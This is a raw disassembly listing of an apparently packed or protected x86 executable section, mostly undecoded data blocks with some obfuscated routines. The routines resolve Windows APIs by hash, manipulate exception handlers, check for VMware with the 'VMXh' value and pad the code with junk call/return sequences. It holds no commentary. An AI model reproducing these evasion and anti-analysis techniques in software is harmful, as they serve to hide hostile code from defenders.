		dd 46000000h, 62B9C356h, 4A094F7Bh, 25A18D8Bh, 0C68005F9h
		dd 23858955h, 5705FC36h, 0C75AD48Ah, 0F925A585h, 5, 0FEBF0F00h
		dd 3623BD83h, 0F0005FCh, 23184h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 35BC0909h
		dd 519BB94Ah, 1858D5Ah,	8B05FC39h, 0F912E58Dh, 0BD235005h
		dd 5F91119h, 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 49B13DC3h, 0F2B45B6Dh, 0FBD8D8Bh
		dd 952905F9h, 5F90041h,	3623B5FFh, 11E905FCh, 7B000000h
		dd 0ECC95FB1h, 722EEAC6h, 0CBE05984h, 0A1B185F4h, 361B95FFh
		dd 858905FCh, 5F9200Dh,	3623B5FFh, 6A05FCh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 95FFF4C3h
		dd 5F932E1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0F1C35646h, 686DB672h, 0F01FFh,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 3BC35646h, 0E522D59h
		dd 4A19D89h, 0BD8305F9h, 5F92B51h, 47840F00h, 9000000h
		dd 0F90D29BDh, 7C858D05h, 8905FC36h, 0F91F99BDh, 4CE905h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0AA8F37C3h, 68B0Fh, 9D890000h, 5F91161h
		dd 19858589h, 858D05F9h, 5FC3652h, 0FE951h, 86DF0000h
		dd 0F33A5103h, 0D34F6526h, 2A973238h, 6A505ADFh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 9782C352h, 361FB5FFh, 11E905FCh, 91000000h, 802570E6h
		dd 0C602BCC0h, 84EFAE10h, 94197B84h, 361795FFh,	0CF8A05FCh
		dd 0D810Fh, 5E80000h, 39000000h, 0BB053120h, 8959F7B2h
		dd 0FC362385h, 158D8B05h, 0FF05F906h, 0FC3623B5h, 0EE905h
		dd 6E5C0000h, 90BBAE24h, 8DA72BCh, 8D8F30A1h, 361395FFh
		dd 0BD8905FCh, 5F9348Dh, 3623B5FFh, 858905FCh, 5F917A1h
		dd 32E195FFh, 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 2B1928C3h, 18ACB4BDh, 1E61BD29h
		dd 0F8E905F9h, 6AFFFFF6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 7E33C357h, 4537861Bh
		dd 2051B589h, 10E905F9h, 34000000h, 0FF75E063h,	0D4DA76AFh
		dd 98AC3406h, 0FF0B160Bh, 0FC416CB5h, 89EA8105h, 663C38B8h
		dd 0C235DA81h, 20D595FFh, 0AE905F9h, 3A000000h,	7795D43Fh
		dd 0B6F09F73h, 0BD858B5Ch, 8B05F934h, 0F91531BDh, 532E905h
		dd 0BD8B0000h, 5F906F1h, 3921B58Dh, 6A05FCh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8509A1C3h
		dd 5F918EDh, 0E74E858Dh, 6E805FBh, 0D6000000h, 5AFD06FFh
		dd 658D0B5Ah, 5905F917h, 9589D0FFh, 5F92531h, 8B60006Ah
		dd 0F926058Dh, 0DABF0F05h, 6995FF61h, 0F505F907h, 0B589F38Bh
		dd 5F9112Dh, 0A218589h,	858D05F9h, 5FBE74Eh, 0FFDFF680h
		dd 6AC88BD0h, 89958900h, 0FF05F913h, 0F9076995h, 8E905h
		dd 0F5E0000h, 38EDBD1Ah, 0EE806B3Ch, 83C08B8Dh,	0F931C9BDh
		dd 9750005h, 12B5BD83h,	740005F9h, 8B535019h, 7D9B8C0h
		dd 85890000h, 5F928E9h,	0F3849D8Dh, 0D3FF05FBh,	0BD83585Bh
		dd 5F912B5h, 50177400h,	7D9B853h, 85890000h, 5F928E9h
		dd 0F0739D8Dh, 0D3FF05FBh, 9589585Bh, 5F924A1h,	13E8h
		dd 0CEC32700h, 5576D0E4h, 8B7E2339h, 176140DDh,	86A14642h
		dd 15B19D89h, 8B5A05F9h, 501AB2C0h, 0D88BD08Bh,	3793DA81h
		dd 8D5362FAh, 0F934D99Dh, 89038B05h, 50438B03h,	8D504389h
		dd 0FC41059Dh, 89038B05h, 57605B03h, 11E8h, 9C965400h
		dd 0D554A104h, 2647C710h, 62F4B281h, 5F5857A8h,	952B61FCh
		dd 5F91AB5h, 8DF5006Ah,	0FC410585h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0F61C49EEh
		dd 858988CFh, 5F917FDh,	57006A50h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 7EDF2B8h, 0A45EE647h
		dd 0FE9C109h, 0FE000000h, 0FF7DE742h, 30A050E7h, 43A2D974h
		dd 8589532Ah, 5F91075h,	958B606Ah, 5F9331Dh, 34D9858Dh
		dd 816605F9h, 501DFDE7h, 1EDD8589h, 6A05F9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 96C35545h, 458D8B95h
		dd 6A05F910h, 0B9BD8900h, 6805F904h, 1800h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8C35646h, 94CC8B7Fh
		dd 8D295109h, 5F91AF1h,	0A1BD8953h, 0FF05F90Ch,	0F9276D95h
		dd 0FF1FB105h, 0F921DD95h, 91952305h, 0FF05F912h, 0FC416CB5h
		dd 0C7816005h, 36396166h, 2BED9529h, 0FF6105F9h, 0F920D595h
		dd 958D8B05h, 8D05F90Ch, 0F934D985h, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 51283E96h
		dd 0A028D711h, 0D9D89D8h, 8B05F933h, 0EA801840h, 585C738h
		dd 5F910h, 1000000h, 0F9001185h, 8E0F6005h, 15h, 10E9h
		dd 38744100h, 0F9FB6E5Dh, 29E2BE23h, 0B1A62934h, 6117B41Ch
		dd 2B51BD83h, 0F0005F9h, 1D84h,	0BEE18100h, 3D1D19F3h
		dd 8Ch,	14F830Fh, 0B70F0000h, 0FE9CAh, 0BF660000h, 983D08D2h
		dd 0F000000h, 13883h, 3B858D00h, 0F005B24h, 0C81h, 6840F00h
		dd 8B000000h, 0F9090D95h, 8BD0FF05h, 0F91DED95h, 8E858D05h
		dd 0E9005B1Eh, 0Fh, 579D3BF0h, 1D3FB9B6h, 420EDFA2h, 0FC9563D7h
		dd 0F180D0FFh, 89C08BDCh, 0F9077985h, 0C9BD8305h, 5F931h
		dd 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h,	0BC6h
		dd 28E98589h, 9D8D05F9h, 5FBF384h, 585BD3FFh, 12B5BD83h
		dd 740005F9h, 0B8535017h, 0BC6h, 28E98589h
		dd 9D8D05F9h, 5FBF073h,	585BD3FFh, 8E9h, 6632E100h, 7DC5692Dh
		dd 9E905h, 32EE0000h, 0CFC135BDh, 8B9D2AADh, 0F883F8C0h
		dd 35850FFFh, 0B1000000h, 2B0FBFDFh, 85C73F27h,	5F91E19h
		dd 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+5F9257Dh]
		jmp	loc_5A276D
; ---------------------------------------------------------------------------
		push	edi
		ja	loc_5A2654
		mov	edx, [ebp+5F90DE9h]


loc_5A2654:				; CODE XREF: .XComp0:005A2648j
		pop	edx
		jmp	loc_5A269E
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	edi, ebx
		pop	edi
		pop	edi
		cmp	eax, 1
		jnz	loc_5A269E
		push	0
		push	edx
		call	sub_5A2674
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A2674	proc near		; CODE XREF: .XComp0:005A266Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5A2674	endp

; ---------------------------------------------------------------------------
		fcmovne	st, st(7)
		cmpsd
		wait
		scasd
		rol	byte ptr [ecx-3560CE21h], cl
		dec	esp
		movsx	ecx, di
		jmp	loc_5A2790
; ---------------------------------------------------------------------------
		mov	[ebp+5F907B9h],	eax


loc_5A269E:				; CODE XREF: .XComp0:005A2655j
					; .XComp0:005A2663j
		jmp	near ptr dword_5A15F8+2EBh
; ---------------------------------------------------------------------------
		mov	edi, [ebp+5F92675h]
		mov	eax, eax
		movzx	edx, bx
		mov	cx, 16E3h
		cmp	dword ptr [ebp+5F931C9h], 0
		jnz	short loc_5A26C4
		cmp	dword ptr [ebp+5F912B5h], 0
		jz	short loc_5A26DD


loc_5A26C4:				; CODE XREF: .XComp0:005A26B9j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7DDh
		mov	[ebp+5F928E9h],	eax
		lea	ebx, [ebp+5FBF384h]
		call	ebx
		pop	ebx
		pop	eax


loc_5A26DD:				; CODE XREF: .XComp0:005A26C2j
		cmp	dword ptr [ebp+5F912B5h], 0
		jz	short loc_5A26FD
		push	eax
		push	ebx
		mov	eax, 7DDh
		mov	[ebp+5F928E9h],	eax
		lea	ebx, [ebp+5FBF073h]
		call	ebx
		pop	ebx
		pop	eax


loc_5A26FD:				; CODE XREF: .XComp0:005A26E4j
		push	0
		push	ebx
		call	sub_5A2708
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A2708	proc near		; CODE XREF: .XComp0:005A2700p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5A2708	endp

; ---------------------------------------------------------------------------
		dd 14E9A9h, 4F880000h, 924703BCh, 7AB77EB7h, 81C01BF0h
		dd 17F02684h, 0BF0F0DCBh, 29E781FAh, 8A5E0B9Ah,	0E9C08BF4h
		dd 221h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	8CC35646h, 566057E7h, 89286029h, 0F92B2995h
		db 5
; ---------------------------------------------------------------------------


loc_5A276D:				; CODE XREF: .XComp0:005A2642j
		lea	eax, [ebp+5FC3F09h]
		mov	edi, [ebp+5F91ABDh]
		mov	[ebp+5FC4101h],	eax
		mov	ecx, [ebp+5F91359h]
		jmp	loc_5A27B0
; ---------------------------------------------------------------------------
		mov	edx, [ebp+5F927ADh]


loc_5A2790:				; CODE XREF: .XComp0:005A2693j
		lea	eax, [ebp+5FC3D11h]
		mov	cl, 73h
		inc	eax
		jo	loc_5A27A5
		xor	[ebp+5F932A9h],	ebx


loc_5A27A5:				; CODE XREF: .XComp0:005A2799j
		mov	[ebp+5FC4101h],	eax
		sbb	di, 484h


loc_5A27B0:				; CODE XREF: .XComp0:005A2785j
		push	34h
		lea	eax, [ebp+5F91A05h]
		push	eax
		push	dword ptr [ebp+5FC4101h]
		push	0
		call	dword ptr [ebp+5F90925h]
		cmp	eax, 7
		jz	loc_5A2938
		mov	bx, ds
		test	bl, 4
		jnz	loc_5A28DE
		mov	byte ptr [ebp+5F91899h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+5F92719h]
		lea	eax, [ebp+5F93A6Ah]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+5FC4174h],	eax
		mov	byte ptr [ebp+5F91899h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+5F92719h]
		lea	eax, [ebp+5F93A6Ah]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+5F91899h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+5F90FC5h]
		lea	eax, [ebp+5F93A6Ah]
		call	eax
		lea	ebx, [ebp+5FC4170h]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+5F91899h], 41h
		push	0DB876498h
		push	dword ptr [ebp+5F90FC5h]
		lea	eax, [ebp+5F93A6Ah]
		call	eax
		mov	[ebp+5FC418Dh],	eax
		mov	byte ptr [ebp+5F91899h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+5F90FC5h]
		lea	eax, [ebp+5F93A6Ah]
		call	eax
		mov	ebx, [ebp+5FC4174h]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+5FC4179h]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+5FC4174h]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	ebx, [ebp+5F91F25h]
		mov	dword ptr [ebp+5F920C1h], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+5FC4174h]
		push	ebx
		push	0
		push	dword ptr [ebp+5FC4170h]
		call	dword ptr [ebp+5FC418Dh]


loc_5A28DE:				; CODE XREF: .XComp0:005A27D6j
		mov	byte ptr [ebp+5F91899h], 45h
		push	92A5F797h
		push	dword ptr [ebp+5F92109h]
		lea	eax, [ebp+5F93A6Ah]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_5A2938
		mov	ebx, [ebp+5FC4174h]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+5FC4174h]
		push	ebx
		push	0
		push	dword ptr [ebp+5FC4170h]
		call	dword ptr [ebp+5FC418Dh]
		push	dword ptr [ebp+5FC4170h]
		call	dword ptr [ebp+5F921DDh]


loc_5A2938:				; CODE XREF: .XComp0:005A27CAj
					; .XComp0:005A2904j
		push	0
		call	dword ptr [ebp+5F90769h]
		push	0
		push	esi
		call	sub_5A294B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A294B	proc near		; CODE XREF: .XComp0:005A2943p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5A294B	endp

; ---------------------------------------------------------------------------
		db 33h
; ---------------------------------------------------------------------------
		retn	1F18h
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		cmp	eax, 338BE4D7h
		lea	eax, [ebp+5FC7474h]
		sub	edx, 5B6203BBh
		push	eax
		mov	edx, [ebp+5F92139h]
		or	di, 0AC0Bh
		push	large dword ptr	fs:0
		xor	[ebp+5F92B45h],	edx
		mov	large fs:0, esp
		mov	edx, 365F1C48h
		cmp	dword ptr [ebp+5F929B9h], 0
		jz	loc_5A29D9
		mov	[ebp+5F91211h],	ecx
		cmp	dword ptr [ebp+5F91785h], 1
		jnz	loc_5A29D9
		pusha
		mov	edx, [ebp+5F91F1Dh]
		popa
		cmp	byte ptr [ebp+5FC458Dh], 0
		jnz	loc_5A29D9
		mov	dx, 0C91Dh
		jmp	loc_5A2B30
; ---------------------------------------------------------------------------
		add	di, 8874h


loc_5A29D9:				; CODE XREF: .XComp0:005A299Dj
					; .XComp0:005A29B0j ...
		xor	ebx, ebx
		xor	eax, eax
		and	edi, [ebp+5F91A9Dh]
		mov	dx, 3838h
		inc	eax
; ---------------------------------------------------------------------------
		dd 0B073F0Fh, 58F64h, 83000000h, 6A04C4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 615198C3h
		dd 0C7810C36h, 57D30BE8h, 0AA9AACBFh, 0E1BD317Ah, 0E905F927h
		dd 0Ah,	0EF71325Ah, 0A08B8321h,	0BF660AE5h, 0FB83C9F3h
		dd 0E840FFFh, 29000000h, 0F90A299Dh, 0D8E905h, 0B70F0000h
		dd 6EE9FBh, 6E90000h, 13000000h, 0B365D24Ch, 244C8B62h
		dd 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h
		dd 245C8BC3h, 0E8550Ch,	5D000000h, 7496ED81h, 838B05FCh
		dd 0B8h, 7543858Dh, 838905FCh, 0B8h, 0C3C0335Dh, 0D918D89h
		dd 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0ED9CB5C3h, 748C858Dh, 816605FCh,	50BCC8F2h
		dd 6830Fh, 958B0000h, 5F92009h,	35FF64h, 31000000h, 0F91E7195h
		dd 0E9816605h, 8964DFCBh, 25h, 0D08B6600h, 860Fh, 0AB90000h
		dd 0B8000000h, 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h
		dd 810034B6h, 345FE8EAh, 0FB81ED00h, 564D5868h,	85C70A75h
		dd 5F90B49h, 1
; ---------------------------------------------------------------------------


loc_5A2B30:				; CODE XREF: .XComp0:005A29CFj
		pop	large dword ptr	fs:0
		add	esp, 4
		push	0
		push	edi
		call	sub_5A2B45
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A2B45	proc near		; CODE XREF: .XComp0:005A2B3Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5A2B45	endp

; ---------------------------------------------------------------------------
		db 0B1h, 94h, 5Ch
		dd 2C37A7FBh, 0F52F062h, 0F59C8B7h, 286h, 0E96CB100h, 5
		dd 70EBC1B9h, 29C08BF0h, 0F919DDBDh, 0C9BD8305h, 5F931h
		dd 0BD830975h, 5F912B5h, 50197400h, 0B8C08B53h,	43Dh, 15DD8589h
		dd 9D8D05F9h, 5FBF3EBh,	585BD3FFh, 12B5BD83h, 740005F9h
		dd 0B8535017h, 43Dh, 15DD8589h,	9D8D05F9h, 5FBF08Ch, 585BD3FFh
		dd 14698D23h, 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 49445BC3h, 68F2811Ah, 31676542h
		dd 0F9164D85h, 10E905h,	6BA50000h, 0F51053A6h, 8E779A70h
		dd 808F0D98h, 0C08B6E0Ah, 147E9h, 400h,	392E3100h, 3031h
		dd 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 2801BD83h, 0F0005F9h
		dd 12D84h, 0A3858D00h, 5005FBEEh, 0EE0D858Dh, 685005FBh
		dd 80000001h, 0EEB395FFh, 858D05FBh, 5FC7628h, 32858D50h
		dd 5005FC76h, 6A006Ah, 0EE21858Dh, 0FF5005FBh, 0FBEEA3B5h
		dd 0ED95FF05h, 8D05F92Ah, 0FC762885h, 858D5005h, 5FC7636h
		dd 6A006A50h, 33858D00h, 5005FBEEh, 0EEA3B5FFh,	95FF05FBh
		dd 5F92AEDh, 7628858Dh,	8D5005FCh, 0FC764285h, 6A5005h
		dd 858D006Ah, 5FBEE80h,	0A3B5FF50h, 0FF05FBEEh,	0F92AED95h
		dd 28858D05h, 5005FC76h, 764A858Dh, 6A5005FCh, 8D006A00h
		dd 0FBEE9E85h, 0B5FF5005h, 5FBEEA3h, 2AED95FFh,	858D05F9h
		dd 5FC7628h, 46858D50h,	5005FC76h, 6A006Ah, 0EE87858Dh
		dd 0FF5005FBh, 0FBEEA3B5h, 0ED95FF05h, 8D05F92Ah, 0FC762885h
		dd 858D5005h, 5FC763Ah,	6A006A50h, 8F858D00h, 5005FBEEh
		dd 0EEA3B5FFh, 95FF05FBh, 5F92AEDh, 7628858Dh, 8D5005FCh
		dd 0FC763E85h, 6A5005h,	858D006Ah, 5FBEE96h, 0A3B5FF50h
		dd 0FF05FBEEh, 0F92AED95h, 0A3B5FF05h, 0FF05FBEEh, 0F9067195h
		dd 0A2E905h, 0BD830000h, 5F90FB9h, 95840F00h, 83000000h
		dd 0F91785BDh, 850F0005h, 11h, 569958Bh, 0C28105F9h, 1CF8h
		dd 0FE9h, 0D9958D00h, 8B05F934h, 0C2813452h, 3BD4C340h
		dd 25799589h, 0BD8305F9h, 5F92579h, 55840F00h, 8B000000h
		dd 0F925799Dh, 4CC38305h, 8589038Bh, 5FC7632h, 25799D8Bh
		dd 0C38305F9h, 89038B50h, 0FC763685h, 799D8B05h, 8305F925h
		dd 38B54C3h, 76428589h,	9D8B05FCh, 5F92579h, 8B58C383h
		dd 46858903h, 8B05FC76h, 0F925799Dh, 5CC38305h,	8589038Bh
		dd 5FC763Ah, 2801BD83h,	0F0005F9h, 0D85h, 0B9BD8300h, 5F90Fh
		dd 68840Fh, 0B5FF0000h,	5FC764Ah, 763EB5FFh, 0B5FF05FCh
		dd 5FC763Ah, 7646B5FFh,	0B5FF05FCh, 5FC7642h, 7636B5FFh
		dd 0B5FF05FCh, 5FC7632h, 762C858Dh, 8D5005FCh, 0FC766485h
		dd 858D5005h, 5F92F0Dh,	0CD95FF50h, 8305F90Dh, 406A24C4h
		dd 764E858Dh, 8D5005FCh, 0F92F0D85h, 6A5005h, 92595FFh
		dd 16A05F9h, 76995FFh, 0C18B05F9h, 0F31718EBh, 9B46h, 4	dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 5FC79F8h
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 30B58BFFh, 8105FC7Ah, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 34B53B00h, 0F05FC7Ah
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 2579858Bh, 188605F9h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 0A995FF08h, 5005F912h, 244C010Fh,	0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 2579858Bh, 0C605F9h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 5F92579h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 5F92061h,	0
; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	ebx, [eax+1000h]
		mov	[eax+1000h], ebx
		mov	ebx, [eax]
		mov	[eax], ebx
		jmp	loc_5A3127
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+5F92061h], 100h


loc_5A3127:				; CODE XREF: .XComp0:005A3118j
		pop	eax
		pop	ebx
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0A3h, 0FFh
		dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
		dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh,	1, 0FC90A4Ah
		dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
		dd 0C033087Ah, 1E9h, 3F80AA00h,	0F6850F00h, 5FFFFFFFh
		dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
		dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h,	595EC38Bh
		dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC00Ah, 0FFFFFFE7h
		dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h,	2984h
		dd 0D585C700h, 105FC79h, 50000000h, 244C010Fh, 0D9858FFEh
		dd 8D05FC79h, 0FC79D185h, 0D9BD8D05h, 8905FC79h, 23E938h
		dd 858D0000h, 5F934D9h,	538408Bh, 9B46F317h, 79D18589h
		dd 858D05FCh, 5F934D9h,	893C408Bh, 0FC79D585h, 0EE858D05h
		dd 8905FC79h, 0F912A985h, 87E905h, 8B520000h, 728B60D4h
		dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h
		dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h
		dd 728BDB33h, 0C4A8B08h, 13E9h,	2D3CAC00h, 0A840Fh, 98040000h
		dd 0D8321334h, 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh
		dd 8C25A5Eh, 61858D00h,	8905FC7Ch, 0F9292585h, 89858D05h
		dd 8905FC7Ch, 0F90B2D85h, 0B1858D05h, 8905FC7Ch, 0F9329585h
		dd 0CE96005h, 0C000000h, 0CE5484BFh, 430F7D37h,	0FC23C41h
		dd 386h, 0CEB70F00h, 0BF0FC08Bh, 63E2BED0h, 0BD835D74h
		dd 5F931C9h, 83097500h,	0F912B5BDh, 19740005h, 0C08B5350h
		dd 40EB8h, 0E9858900h, 8D05F928h, 0FBF3849Dh, 5BD3FF05h
		dd 0B5BD8358h, 5F912h, 53501774h, 40EB8h, 0E9858900h, 8D05F928h
		dd 0FBF0739Dh, 5BD3FF05h, 81C28058h, 0E1F28166h, 6AC08B4Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 6697C357h, 821518F8h, 8B7AC333h, 0B9BD83D7h
		dd 5F929h, 1E840Fh, 0B70F0000h,	1E5E9CBh, 60600000h, 6E95B56h
		dd 55000000h, 0B7FE594Ah, 816661FAh, 61C69EDAh,	8B66DF8Ch
		dd 0CABF0FCBh, 4C7F766h, 0BC850F00h, 66000001h,	83C061BEh
		dd 0F92B51BDh, 850F0005h, 0Eh, 0E9F78B66h, 1A3h, 8B0Fh
		dd 0BF0000h, 81000000h,	2FA0CF6h, 549D8D62h, 0F05FC7Fh
		dd 0B950D2B7h, 45E9E47Dh, 64241C89h, 35FFh, 8B0F0000h
		dd 3, 64E2E980h, 2589h,	8C0F0000h, 1Ah,	12E8h, 0E7CF1B00h
		dd 0C3C1E1A0h, 0EF91D740h, 74A3C1C1h, 53011C82h, 0C48B595Eh
		dd 2969BA66h, 0EB01CDh,	6AD6B70Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 94D9C352h
		dd 6B7176E4h, 644626B2h, 58Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 836178C3h
		dd 6A04C4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 18ACB4C3h, 0BF2B2D9h, 0C8840FC0h,	60000000h
		dd 6A6161h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0F53509C3h, 85BD8DF5h, 0B205F972h, 1B879h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0E87D1FC3h, 6, 4E7B0310h,	0FF5A807Dh, 16840FE7h
		dd 0E8000000h, 0Dh, 0A1DF3B7Ah,	0D892AEDDh, 51EE7599h
		dd 66ED807Fh, 5C8B575Ah, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh
		dd 0B0h, 0B88383h, 5F020000h, 0E8C3C033h, 0Ch, 62C3DBE3h
		dd 75C9C66Dh, 6E20D09Eh, 7E852h, 0B5F60000h, 2459909Eh
		dd 595E5A93h, 2880Fh, 87B10000h, 7BAA11BEh, 61EE8A3Bh
		dd 0E8C08BF8h, 0Bh, 2AA04AA2h, 1D58EFB2h, 8AECAFD5h, 0BD8359F0h
		dd 5F931C9h, 83097500h,	0F912B5BDh, 19740005h, 0C08B5350h
		dd 40EB8h, 0DD858900h, 8D05F915h, 0FBF3EB9Dh, 5BD3FF05h
		dd 0B5BD8358h, 5F912h, 53501774h, 40EB8h, 0DD858900h, 8D05F915h
		dd 0FBF08C9Dh, 5BD3FF05h, 0F960FC58h, 0D4E98166h, 0C08B610Ah
		dd 0C28BCA8Bh, 8E8h, 39F7C00h, 0E32E5D78h, 9DDB8150h, 5E708EA7h
		dd 819CEC80h, 59D5C6h, 0DA8B5600h, 0FFF3359h, 682h, 60E38100h
		dd 8B12488Dh, 81F83E14h, 0BB4856C2h, 81C28B29h,	0FB5D26C2h
		dd 8184B07Bh, 0FAC922F2h, 475EB939h, 665221FFh,	48FCE8Bh
		dd 833EB73Eh, 12E803EFh, 40000000h, 113A7FF1h, 0A1D0C50Ah
